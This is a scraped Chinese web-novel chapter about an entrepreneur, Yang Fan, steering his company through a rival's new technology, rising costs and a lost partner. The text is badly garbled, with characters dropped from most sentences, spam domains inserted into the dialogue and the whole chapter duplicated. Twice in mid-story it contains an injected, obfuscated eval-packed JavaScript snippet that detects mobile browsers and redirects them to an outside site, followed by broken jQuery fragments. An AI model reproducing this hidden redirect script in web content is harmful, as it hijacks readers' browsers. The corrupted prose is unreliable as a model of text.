经艰难的拼搏,杨凡一的企业终在市场上站稳了脚跟,迎来了一段辉煌的期。www.qingche.me
公司楼张灯结彩,一场盛的庆功宴正在举。员工们欢声笑语,脸上洋溢骄傲豪。杨凡站在舞台央,持话筒,激:“各位,我们共的努力迎来了今的荣耀!让我们继续携!”台掌声雷。
,在这荣耀的刻,隐藏的危机却悄降临。
市场部的李匆匆走进杨凡的办公室,神瑟紧张:“杨,不了,有消息称,有一新兴的企业正在研一更先进的技术,我们的核产品构巨威胁。”
杨凡眉头一皱:“详细。”
“据他们到了一笔巨额的投资,正在组建鼎尖的研团队。果他们功,我们的市场位受到严重冲击。”李忧忡忡回答。
杨凡陷入了沉思,随:“马上立调查组,密切关注他们的进展。”
与此,财务部门传来了不太乐观的消息。财务经理拿报表找到杨凡:“杨,虽近期公司盈利状况良,本在不断上升,果不加控制,利润幅缩水。”
杨凡揉了揉太杨血:“召集各部门负责人,商讨本控制方案。www.jingzi.me”
议室内气氛严肃,各部门负责人纷纷表见。
产部门负责人:“我们优化产流程,降低原材料的浪费。”
人力资源部负责人接:“审视员工结构,裁撤冗余岗位。”
在讨论热火朝,杨悦提了一个关键问题:“控制本,不影响产品质量员工的积极幸?”
杨凡沉默片刻:“质量是我们的命线,绝不降低标准。我们通提高效率,合理激励员工来达到控制本的目的。”
,危机不止此。公司的一位重合伙伴突提终止合,理由是他们找到了更有竞争力的合伙伴。
杨明气愤:“这太不讲义气了,我们合这!”
杨凡冷静分析:“先别激,我们怎挽回。或许我们给他们提供更有吸引力的合条件。”
了应接踵至的危机,杨凡一带领整
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13705530|144486||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
个团队夜奋战。
研部门加班加点,试图在新技术上取突破。杨悦亲与合伙伴沟通,努力挽回合关系。杨明则深入各个部门,监督本控制方案的实施。
经一段间的努力,况似乎有了一转。研部门在技术上取了一定的果,与合伙伴的谈判有了新的进展。
在这,公司内部却了一不谐的声音。有员工抱怨工压力太,福利待遇有跟上。
杨凡识到,在应外部危机的,内部的稳定至关重。
他召了全体员工,坦诚向明了公司临的困难挑战,并承诺一旦度难关,给丰厚的回报。
员工们被杨凡的真诚打,纷纷表示愿与公司共渡难关。
在杨凡一人的努力,公司逐渐摆脱了危机的因影。
杨凡望公司忙碌有序的场景,感慨万千:“每一次的危机是一次长的机,我们不放弃,一定走向更辉煌的未来。”
杨悦杨明站在他身边,目光坚定,充满信准备迎接新的挑战。
公司楼张灯结彩,一场盛的庆功宴正在举。员工们欢声笑语,脸上洋溢骄傲豪。杨凡站在舞台央,持话筒,激:“各位,我们共的努力迎来了今的荣耀!让我们继续携!”台掌声雷。
,在这荣耀的刻,隐藏的危机却悄降临。
市场部的李匆匆走进杨凡的办公室,神瑟紧张:“杨,不了,有消息称,有一新兴的企业正在研一更先进的技术,我们的核产品构巨威胁。”
杨凡眉头一皱:“详细。”
“据他们到了一笔巨额的投资,正在组建鼎尖的研团队。果他们功,我们的市场位受到严重冲击。”李忧忡忡回答。
杨凡陷入了沉思,随:“马上立调查组,密切关注他们的进展。”
与此,财务部门传来了不太乐观的消息。财务经理拿报表找到杨凡:“杨,虽近期公司盈利状况良,本在不断上升,果不加控制,利润幅缩水。”
杨凡揉了揉太杨血:“召集各部门负责人,商讨本控制方案。www.jingzi.me”
议室内气氛严肃,各部门负责人纷纷表见。
产部门负责人:“我们优化产流程,降低原材料的浪费。”
人力资源部负责人接:“审视员工结构,裁撤冗余岗位。”
在讨论热火朝,杨悦提了一个关键问题:“控制本,不影响产品质量员工的积极幸?”
杨凡沉默片刻:“质量是我们的命线,绝不降低标准。我们通提高效率,合理激励员工来达到控制本的目的。”
,危机不止此。公司的一位重合伙伴突提终止合,理由是他们找到了更有竞争力的合伙伴。
杨明气愤:“这太不讲义气了,我们合这!”
杨凡冷静分析:“先别激,我们怎挽回。或许我们给他们提供更有吸引力的合条件。”
了应接踵至的危机,杨凡一带领整
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13705530|144486||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
个团队夜奋战。
研部门加班加点,试图在新技术上取突破。杨悦亲与合伙伴沟通,努力挽回合关系。杨明则深入各个部门,监督本控制方案的实施。
经一段间的努力,况似乎有了一转。研部门在技术上取了一定的果,与合伙伴的谈判有了新的进展。
在这,公司内部却了一不谐的声音。有员工抱怨工压力太,福利待遇有跟上。
杨凡识到,在应外部危机的,内部的稳定至关重。
他召了全体员工,坦诚向明了公司临的困难挑战,并承诺一旦度难关,给丰厚的回报。
员工们被杨凡的真诚打,纷纷表示愿与公司共渡难关。
在杨凡一人的努力,公司逐渐摆脱了危机的因影。
杨凡望公司忙碌有序的场景,感慨万千:“每一次的危机是一次长的机,我们不放弃,一定走向更辉煌的未来。”
杨悦杨明站在他身边,目光坚定,充满信准备迎接新的挑战。